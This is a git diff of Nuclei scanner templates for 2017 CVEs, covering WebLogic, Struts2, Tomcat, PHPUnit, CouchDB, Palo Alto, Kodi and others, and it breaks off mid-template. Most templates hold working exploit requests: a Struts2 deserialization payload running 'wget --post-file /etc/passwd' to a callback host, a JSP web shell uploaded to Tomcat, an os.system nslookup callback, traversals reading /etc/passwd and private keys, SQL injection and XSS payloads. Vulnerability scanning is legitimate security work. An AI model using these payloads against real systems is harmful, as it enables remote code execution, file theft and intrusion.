https://nvd.nist.gov/vuln/detail/CVE-2017-18638 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2017-18638 + cwe-id: CWE-918 + tags: cve,cve2017,graphite,ssrf,oast + +requests: + - method: GET + path: + - '{{BaseURL}}/composer/send_email?to={{rand_text_alpha(4)}}@{{rand_text_alpha(4)}}&url=http://{{interactsh-url}}' + + matchers: + - type: word + part: interactsh_protocol + words: + - "http" diff --git a/nuclei-templates/CVE-2017/CVE-2017-3506.yaml b/nuclei-templates/CVE-2017/CVE-2017-3506.yaml new file mode 100644 index 0000000000..684bb51560 --- /dev/null +++ b/nuclei-templates/CVE-2017/CVE-2017-3506.yaml @@ -0,0 +1,52 @@ +id: CVE-2017-3506 + +info: + name: Oracle Fusion Middleware Weblogic Server - Remote OS Command Execution + author: pdteam + severity: high + description: The Oracle WebLogic Server component of Oracle Fusion Middleware (Web Services) versions 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 and 12.2.1.2 is susceptible to a difficult to exploit vulnerability that could allow unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server. + reference: + - https://hackerone.com/reports/810778 + - https://nvd.nist.gov/vuln/detail/CVE-2017-3506 + - http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html + - http://web.archive.org/web/20210124033731/https://www.securityfocus.com/bid/97884/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N + cvss-score: 7.4 + cve-id: CVE-2017-3506 + tags: rce,oast,hackerone,cve,cve2017,weblogic,oracle + metadata: + max-request: 1 + +http: + - raw: + - | + POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1 + Host: {{Hostname}} + Content-Type: text/xml + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8, + Content-Type: text/xml;charset=UTF-8 + + + + + + + http://{{interactsh-url}} + + + + + + + + + + + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" + +# Enhanced by mp on 2022/04/20 diff --git a/nuclei-templates/CVE-2017/cve-2017-3528.yaml b/nuclei-templates/CVE-2017/CVE-2017-3528.yaml similarity index 100% rename from nuclei-templates/CVE-2017/cve-2017-3528.yaml rename to nuclei-templates/CVE-2017/CVE-2017-3528.yaml diff --git a/nuclei-templates/CVE-2017/cve-2017-4011.yaml b/nuclei-templates/CVE-2017/CVE-2017-4011.yaml similarity index 100% rename from nuclei-templates/CVE-2017/cve-2017-4011.yaml rename to nuclei-templates/CVE-2017/CVE-2017-4011.yaml diff --git a/nuclei-templates/CVE-2017/CVE-2017-5631.yaml b/nuclei-templates/CVE-2017/CVE-2017-5631.yaml new file mode 100644 index 0000000000..d8e29efb22 --- /dev/null +++ b/nuclei-templates/CVE-2017/CVE-2017-5631.yaml @@ -0,0 +1,40 @@ +id: CVE-2017-5631 + +info: + name: KMCIS CaseAware - Cross-Site Scripting + author: edoardottt + severity: medium + description: KMCIS CaseAware contains a reflected cross-site scripting vulnerability via the user parameter transmitted in the login.php query string. + reference: + - https://www.openbugbounty.org/incidents/228262/ + - https://www.exploit-db.com/exploits/42042/ + - https://nvd.nist.gov/vuln/detail/CVE-2017-5631 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2017-5631 + cwe-id: CWE-79 + tags: edb,cve,cve2017,xss,caseaware + +requests: + - method: GET + path: + - "{{BaseURL}}/login.php?mid=0&usr=admin%27%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "'>" + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/nuclei-templates/CVE-2017/CVE-2017-5982.yaml b/nuclei-templates/CVE-2017/CVE-2017-5982.yaml deleted file mode 100644 index fe0f9bdd7f..0000000000 --- a/nuclei-templates/CVE-2017/CVE-2017-5982.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2017-5982 - -info: - name: Kodi 17.1 Local File Inclusion - author: 0x_Akoko - severity: high - description: Insufficient validation of user input is performed on this URL resulting in a local file inclusion vulnerability. - reference: - - https://cxsecurity.com/issue/WLB-2017020164 - - https://www.cvedetails.com/cve/CVE-2017-5982 - - https://www.exploit-db.com/exploits/41312/ - - http://seclists.org/fulldisclosure/2017/Feb/27 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2017-5982 - cwe-id: CWE-98 - tags: cve,cve2017,kodi,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/image/image%3A%2F%2F%2e%2e%252fetc%252fpasswd" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:[x*]:0:0" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2017/CVE-2017-6090.yaml b/nuclei-templates/CVE-2017/CVE-2017-6090.yaml new file mode 100644 index 0000000000..0a448dae64 --- /dev/null +++ b/nuclei-templates/CVE-2017/CVE-2017-6090.yaml @@ -0,0 +1,49 @@ +id: CVE-2017-6090 + +info: + name: PhpColl 2.5.1 Arbitrary File Upload + author: pikpikcu + severity: high + description: PhpCollab 2.5.1 and earlier allows remote authenticated users to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in logos_clients/ via clients/editclient.php. + reference: + - https://sysdream.com/news/lab/2017-09-29-cve-2017-6090-phpcollab-2-5-1-arbitrary-file-upload-unauthenticated/ + - https://nvd.nist.gov/vuln/detail/CVE-2017-6090 + - https://www.exploit-db.com/exploits/42934/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2017-6090 + cwe-id: CWE-434 + tags: cve,cve2017,phpcollab,rce,fileupload + +requests: + - raw: + - | # REQUEST 1 + POST /clients/editclient.php?id={{randstr}}&action=update HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data; boundary=---------------------------154934846911423734231554128137 + + -----------------------------154934846911423734231554128137 + Content-Disposition: form-data; name="upload"; filename="{{randstr}}.php" + Content-Type: application/x-php + + + + -----------------------------154934846911423734231554128137-- + + - | # REQUEST 2 + GET /logos_clients/1.php HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "48dbd2384cb6b996fa1e2855c7f0567f" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/04/06 diff --git a/nuclei-templates/CVE-2017/cve-2017-6361.yaml b/nuclei-templates/CVE-2017/CVE-2017-6361.yaml similarity index 100% rename from nuclei-templates/CVE-2017/cve-2017-6361.yaml rename to nuclei-templates/CVE-2017/CVE-2017-6361.yaml diff --git a/nuclei-templates/CVE-2017/CVE-2017-8917.yaml b/nuclei-templates/CVE-2017/CVE-2017-8917.yaml deleted file mode 100644 index bbbf1e7547..0000000000 --- a/nuclei-templates/CVE-2017/CVE-2017-8917.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2017-8917 - -info: - name: Joomla! <3.7.1 - SQL Injection - author: princechaddha - severity: critical - description: | - Joomla! 3.7.x before 3.7.1 contains a SQL injection vulnerability that could allow attackers to execute arbitrary SQL commands via unspecified vectors. - reference: - - https://www.cvedetails.com/cve/CVE-2017-8917/ - - https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html - - http://www.securityfocus.com/bid/98515 - - http://www.securitytracker.com/id/1038522 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2017-8917 - cwe-id: CWE-89 - tags: cve,cve2017,joomla,sqli - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5(8888)),1)" - - matchers: - - type: word - part: body - words: - - "cf79ae6addba60ad018347359bd144d2" - -# Enhanced by mp on 2022/05/11 diff --git a/nuclei-templates/CVE-2017/CVE-2017-9288.yaml b/nuclei-templates/CVE-2017/CVE-2017-9288.yaml new file mode 100644 index 0000000000..c2b98aec63 --- /dev/null +++ b/nuclei-templates/CVE-2017/CVE-2017-9288.yaml @@ -0,0 +1,30 @@ +id: CVE-2017-9288 +info: + name: Raygun4WP <= 1.8.0 - Reflected Cross-Site Scripting (XSS) + author: daffainfo + severity: medium + description: The Raygun4WP plugin 1.8.0 for WordPress is vulnerable to a reflected XSS in sendtesterror.php (backurl parameter). + reference: https://nvd.nist.gov/vuln/detail/CVE-2017-9288 + tags: cve,cve2017,wordpress,xss,wp-plugin + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2017-9288 + cwe-id: CWE-79 +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/raygun4wp/sendtesterror.php?backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + matchers-condition: and + matchers: + - type: word + words: + - "" + part: body + - type: word + part: header + words: + - text/html + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2017/CVE-2017-9805.yaml b/nuclei-templates/CVE-2017/CVE-2017-9805.yaml deleted file mode 100644 index ed28aec5cd..0000000000 --- a/nuclei-templates/CVE-2017/CVE-2017-9805.yaml +++ /dev/null @@ -1,100 +0,0 @@ -id: CVE-2017-9805 - -info: - name: Apache Struts2 S2-052 - Remote Code Execution - author: pikpikcu - severity: high - description: The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type of filtering, which can lead to remote code execution when deserializing XML payloads. - reference: - - http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html - - https://struts.apache.org/docs/s2-052.html - - https://nvd.nist.gov/vuln/detail/CVE-2017-9805 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.1 - cve-id: CVE-2017-9805 - cwe-id: CWE-502 - tags: cve,cve2017,apache,rce,struts,kev - metadata: - max-request: 2 - -http: - - method: POST - path: - - "{{BaseURL}}/struts2-rest-showcase/orders/3" - - "{{BaseURL}}/orders/3" - headers: - Content-Type: application/xml - body: | - - - - 0 - - - - - - false - 0 - - - - - - wget - --post-file - /etc/passwd - {{interactsh-url}} - - false - - - - - java.lang.ProcessBuilder - start - - - asdasd - - asdasd - - - - - - false - 0 - 0 - false - - false - - - - 0 - - - - - - - - - - - matchers-condition: and - matchers: - - - type: word - words: - - "Debugging information" - - "com.thoughtworks.xstream.converters.collections.MapConverter" - condition: and - - - type: status - status: - - 500 - -# Enhanced by mp on 2022/04/20 diff --git a/nuclei-templates/CVE-2017/CVE-2017-9833.yaml b/nuclei-templates/CVE-2017/CVE-2017-9833.yaml new file mode 100644 index 0000000000..41f738144e --- /dev/null +++ b/nuclei-templates/CVE-2017/CVE-2017-9833.yaml @@ -0,0 +1,44 @@ +id: CVE-2017-9833 + +info: + name: BOA Web Server 0.94.14 - Arbitrary File Access + author: 0x_Akoko + severity: high + description: BOA Web Server 0.94.14 is susceptible to arbitrary file access. The server allows the injection of "../.." using the FILECAMERA variable sent by GET to read files with root privileges and without using access credentials. + remediation: | + Upgrade to a patched version of BOA Web Server or apply the necessary security patches. + reference: + - https://www.exploit-db.com/exploits/42290 + - https://nvd.nist.gov/vuln/detail/CVE-2017-9833 + - https://pastebin.com/raw/rt7LJvyF + - https://www.exploit-db.com/exploits/42290/ + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2017-9833 + cwe-id: CWE-22 + epss-score: 0.35156 + epss-percentile: 0.96658 + cpe: cpe:2.3:a:boa:boa:0.94.14.21:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: boa + product: boa + tags: boa,lfr,lfi,cve,cve2017,edb + +http: + - method: GET + path: + - "{{BaseURL}}/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/passwd%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 + +# digest: 4b0a00483046022100f9ef420bb1014c5ef831089d4a06e9415727f2981ae5976a394d8661942909b10221008422617de5defa711f9b954b019d134b27238689f5be5e601a7b55a6b7b46a01:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2017/CVE-2017-9841.yaml b/nuclei-templates/CVE-2017/CVE-2017-9841.yaml new file mode 100644 index 0000000000..7dfe3202f6 --- /dev/null +++ b/nuclei-templates/CVE-2017/CVE-2017-9841.yaml @@ -0,0 +1,77 @@ +id: CVE-2017-9841 + +info: + name: PHPUnit - Remote Code Execution + author: Random_Robbie,pikpikcu + severity: critical + description: PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a " + + - | + GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: text/html + + + + - | + GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: text/html + + + + - | + GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: text/html + + + + - | + GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: text/html + + + + - | + GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: text/html + + + + matchers-condition: and + matchers: + - type: word + words: + - "6dd70f16549456495373a337e6708865" + part: body + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/05/12 diff --git a/nuclei-templates/CVE-2017/cve-2017-1000027.yaml b/nuclei-templates/CVE-2017/cve-2017-1000027.yaml new file mode 100644 index 0000000000..3d1a6208c0 --- /dev/null +++ b/nuclei-templates/CVE-2017/cve-2017-1000027.yaml @@ -0,0 +1,29 @@ +id: CVE-2017-1000027 + +info: + name: Koozali Foundation SME Server - Open redirect + author: 0x_Akoko + severity: low + description: Koozali Foundation SME Server versions 8.x, 9.x, 10.x are vulnerable to an open URL redirect vulnerability in the user web login function resulting in unauthorized account access. + reference: + - https://cp270.wordpress.com/2017/02/02/security-advisory-open-url-redirect-in-sme-server/ + - https://www.cvedetails.com/cve/CVE-2017-1000027 + - https://vuldb.com/?id.103592 + tags: cve,cve2017,redirect,koozali + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2017-1000027 + cwe-id: CWE-601 + +requests: + - method: GET + + path: + - '{{BaseURL}}/server-common/cgi-bin/login?back=https%253a%252f%252fwww.example.com%252F' + + matchers: + - type: regex + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?example\.com(?:\s*?)$' + part: header diff --git a/nuclei-templates/CVE-2017/cve-2017-1000029.yaml b/nuclei-templates/CVE-2017/cve-2017-1000029.yaml new file mode 100644 index 0000000000..268976e6a7 --- /dev/null +++ b/nuclei-templates/CVE-2017/cve-2017-1000029.yaml @@ -0,0 +1,30 @@ +id: CVE-2017-1000029 +info: + name: GlassFish Server Open Source Edition 3.0.1 - LFI + author: 0x_Akoko + severity: high + description: Oracle, GlassFish Server Open Source Edition 3.0.1 (build 22) is vulnerable to Local File Inclusion vulnerability, that makes it possible to include arbitrary files on the server, this vulnerability can be exploited without any prior authentication. + reference: + - https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18784 + - https://www.cvedetails.com/cve/CVE-2017-1000029 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2017-1000029 + cwe-id: CWE-200 + tags: cve,cve2017,glassfish,oracle,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/resource/file%3a///etc/passwd/" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0:" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2017/cve-2017-10075.yaml b/nuclei-templates/CVE-2017/cve-2017-10075.yaml deleted file mode 100644 index 3083d00632..0000000000 --- a/nuclei-templates/CVE-2017/cve-2017-10075.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2017-10075 - -info: - name: Oracle Content Server XSS - author: madrobot - severity: high - description: The vulnerability can be used to include HTML or JavaScript code in the affected web page. The code is executed in the browser of users if they visit the manipulated site. - reference: http://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html - tags: cve,cve2017,xss,oracle - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N - cvss-score: 8.20 - cve-id: CVE-2017-10075 - -requests: - - method: GET - path: - - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=OO" - - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "" - part: body diff --git a/nuclei-templates/CVE-2017/cve-2017-10974.yaml b/nuclei-templates/CVE-2017/cve-2017-10974.yaml new file mode 100644 index 0000000000..cab8f1de5d --- /dev/null +++ b/nuclei-templates/CVE-2017/cve-2017-10974.yaml @@ -0,0 +1,36 @@ +id: CVE-2017-10974 + +info: + name: Yaws 1.91 - Remote File Disclosure + author: 0x_Akoko + severity: high + description: Yaws 1.91 allows Unauthenticated Remote File Disclosure via HTTP Directory Traversal with /%5C../ to port 8080 + reference: + - https://www.exploit-db.com/exploits/42303 + - https://nvd.nist.gov/vuln/detail/CVE-2017-10974 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2017-10974 + cwe-id: CWE-22 + tags: cve,cve2017,yaws,lfi + + +requests: + - method: GET + path: + - "{{BaseURL}}/%5C../ssl/yaws-key.pem" + + matchers-condition: and + matchers: + - type: word + words: + - "BEGIN RSA PRIVATE KEY" + + - type: status + status: + - 200 + + - type: dsl + dsl: + - '!contains(tolower(body), " + supervisor.supervisord.options.warnings.linecache.os.system + + + nslookup {{interactsh-url}} + + + + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol + words: + - "dns" + + - type: word + part: header + words: + - "text/xml" + + - type: word + part: body + words: + - "" + - "" + condition: and diff --git a/nuclei-templates/CVE-2017/cve-2017-12149.yaml b/nuclei-templates/CVE-2017/cve-2017-12149.yaml new file mode 100755 index 0000000000..36c664da7b --- /dev/null +++ b/nuclei-templates/CVE-2017/cve-2017-12149.yaml @@ -0,0 +1,44 @@ +id: CVE-2017-12149 + +info: + name: Java/Jboss Deserialization [RCE] + author: fopina + severity: critical + description: In Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2, it was found that the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization and thus allowing an attacker to execute arbitrary code via crafted serialized data. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2017-12149 + - https://chowdera.com/2020/12/20201229190934023w.html + - https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149 + tags: cve,cve2017,jboss,java,rce,deserialization + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2017-12149 + cwe-id: CWE-502 + +requests: + - raw: + - | + POST /invoker/JMXInvokerServlet/ HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/octet-stream + + {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }} + - | + POST /invoker/EJBInvokerServlet/ HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/octet-stream + + {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }} + + matchers-condition: and + matchers: + - type: word + words: + - "ClassCastException" + part: body + + - type: word + words: + - "application/x-java-serialized-object" + part: header \ No newline at end of file diff --git a/nuclei-templates/CVE-2017/cve-2017-12542.yaml b/nuclei-templates/CVE-2017/cve-2017-12542.yaml deleted file mode 100644 index e6b40b0d91..0000000000 --- a/nuclei-templates/CVE-2017/cve-2017-12542.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2017-12542 - -info: - name: ILO4 Authentication bypass - author: pikpikcu - severity: critical - description: A authentication bypass and execution of code vulnerability in HPE Integrated Lights-out 4 (iLO 4) version prior to 2.53 was found. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2017-12542 - - https://www.exploit-db.com/exploits/44005 - tags: cve,cve2017,ilo4,hpe - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - cvss-score: 10.00 - cve-id: CVE-2017-12542 - -requests: - - method: GET - path: - - "{{BaseURL}}/rest/v1/AccountService/Accounts" - headers: - Connection: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA - - matchers-condition: and - matchers: - - type: word - words: - - "iLO User" - part: body - - - type: word - words: - - "application/json" - part: header - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2017/cve-2017-12615.yaml b/nuclei-templates/CVE-2017/cve-2017-12615.yaml new file mode 100644 index 0000000000..2296edd3f3 --- /dev/null +++ b/nuclei-templates/CVE-2017/cve-2017-12615.yaml @@ -0,0 +1,55 @@ +id: CVE-2017-12615 + +info: + name: Apache Tomcat RCE + author: pikpikcu + severity: high + tags: cve,cve2017,apache,rce,tomcat + reference: https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615 + description: | + By design, you are not allowed to upload JSP files via the PUT method on the Apache Tomcat servers. + This is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server. + However, due to the insufficient checks, an attacker could gain remote code execution on 7.0.{0 to 79} + Tomcat servers that has enabled PUT by requesting PUT method on the Tomcat server using a specially crafted HTTP request. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.10 + cve-id: CVE-2017-12615 + cwe-id: CWE-434 + +requests: + - method: PUT + path: + - "{{BaseURL}}/poc.jsp/" + headers: + Content-Type: application/x-www-form-urlencoded + body: | + <%@ page import="java.util.*,java.io.*"%> + <% + if (request.getParameter("cmd") != null) { + out.println("Command: " + request.getParameter("cmd") + "
    "); + Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); + OutputStream os = p.getOutputStream(); + InputStream in = p.getInputStream(); + DataInputStream dis = new DataInputStream(in); + String disr = dis.readLine(); + while ( disr != null ) { + out.println(disr); + disr = dis.readLine(); + } + } + %> + + - method: GET + path: + - "{{BaseURL}}/poc.jsp?cmd=cat+%2Fetc%2Fpasswd" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2017/cve-2017-12635.yaml b/nuclei-templates/CVE-2017/cve-2017-12635.yaml new file mode 100644 index 0000000000..102fb0d338 --- /dev/null +++ b/nuclei-templates/CVE-2017/cve-2017-12635.yaml @@ -0,0 +1,49 @@ +id: CVE-2017-12635 + +info: + name: Apache CouchDB 1.7.0 / 2.x < 2.1.1 Remote Privilege Escalation + author: pikpikcu + severity: critical + description: Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keys for 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign themselves roles. The vulnerability allows non-admin users to give themselves admin privileges. + reference: https://github.com/assalielmehdi/CVE-2017-12635 + tags: cve,cve2017,couchdb,apache + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2017-12635 + cwe-id: CWE-269 + +requests: + - raw: + - | + PUT /_users/org.couchdb.user:poc HTTP/1.1 + Host: {{Hostname}} + Accept: application/json + + { + "type": "user", + "name": "poc", + "roles": ["_admin"], + "roles": [], + "password": "123456" + } + + matchers-condition: and + matchers: + - type: word + words: + - "application/json" + - "Location:" + part: header + + - type: word + words: + - "org.couchdb.user:poc" + - "conflict" + - "Document update conflict" + part: body + + - type: status + status: + - 201 + - 409 diff --git a/nuclei-templates/CVE-2017/cve-2017-12637.yaml b/nuclei-templates/CVE-2017/cve-2017-12637.yaml new file mode 100644 index 0000000000..681d71740a --- /dev/null +++ b/nuclei-templates/CVE-2017/cve-2017-12637.yaml @@ -0,0 +1,33 @@ +id: CVE-2017-12637 + +info: + name: Directory traversal vulnerability in SAP NetWeaver Application Server Java 7.5 + author: apt-mirror + severity: high + description: Directory traversal vulnerability in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS in SAP NetWeaver Application Server Java 7.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657. + tags: cve,cve2017,sap,lfi,java,traversal + reference: + - https://www.cvedetails.com/cve/CVE-2017-12637/ + - https://nvd.nist.gov/vuln/detail/CVE-2017-12637 + - https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_SAP-Bugs-The-Phantom-Security.pdf + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2017-12637 + cwe-id: CWE-22 + +requests: + - method: GET + path: + - "{{BaseURL}}/scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/.." + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "WEB-INF" + - "META-INF" + condition: and + part: body diff --git a/nuclei-templates/CVE-2017/cve-2017-15944.yaml b/nuclei-templates/CVE-2017/cve-2017-15944.yaml new file mode 100644 index 0000000000..48553abee3 --- /dev/null +++ b/nuclei-templates/CVE-2017/cve-2017-15944.yaml @@ -0,0 +1,33 @@ +id: CVE-2017-15944 + +info: + name: PreAuth RCE on Palo Alto GlobalProtect + author: emadshanab,milo2012 + description: Palo Alto Networks PAN-OS before 6.1.19, 7.0.x before 7.0.19, 7.1.x before 7.1.14, and 8.0.x before 8.0.6 allows remote attackers to execute arbitrary code via vectors involving the management interface. + reference: + - https://www.exploit-db.com/exploits/43342 + - http://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html + severity: critical + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2017-15944 + tags: cve,cve2017,rce,vpn,panos,globalprotect + +requests: + - raw: + - | + GET /esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337"; HTTP/1.1 + Host: {{Hostname}} + Cookie: PHPSESSID={{randstr}}; + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "@start@Success@end@" + + - type: status + status: + - 200 \ No newline at end of file diff --git a/nuclei-templates/CVE-2017/cve-2017-17562.yaml b/nuclei-templates/CVE-2017/cve-2017-17562.yaml new file mode 100644 index 0000000000..8f18388518 --- /dev/null +++ b/nuclei-templates/CVE-2017/cve-2017-17562.yaml @@ -0,0 +1,106 @@ +id: CVE-2017-17562 + +info: + name: Embedthis GoAhead RCE + description: Embedthis GoAhead before 3.6.5 allows remote code execution if CGI is enabled and a CGI program is dynamically linked. + author: geeknik + reference: + - https://www.elttam.com/blog/goahead/ + - 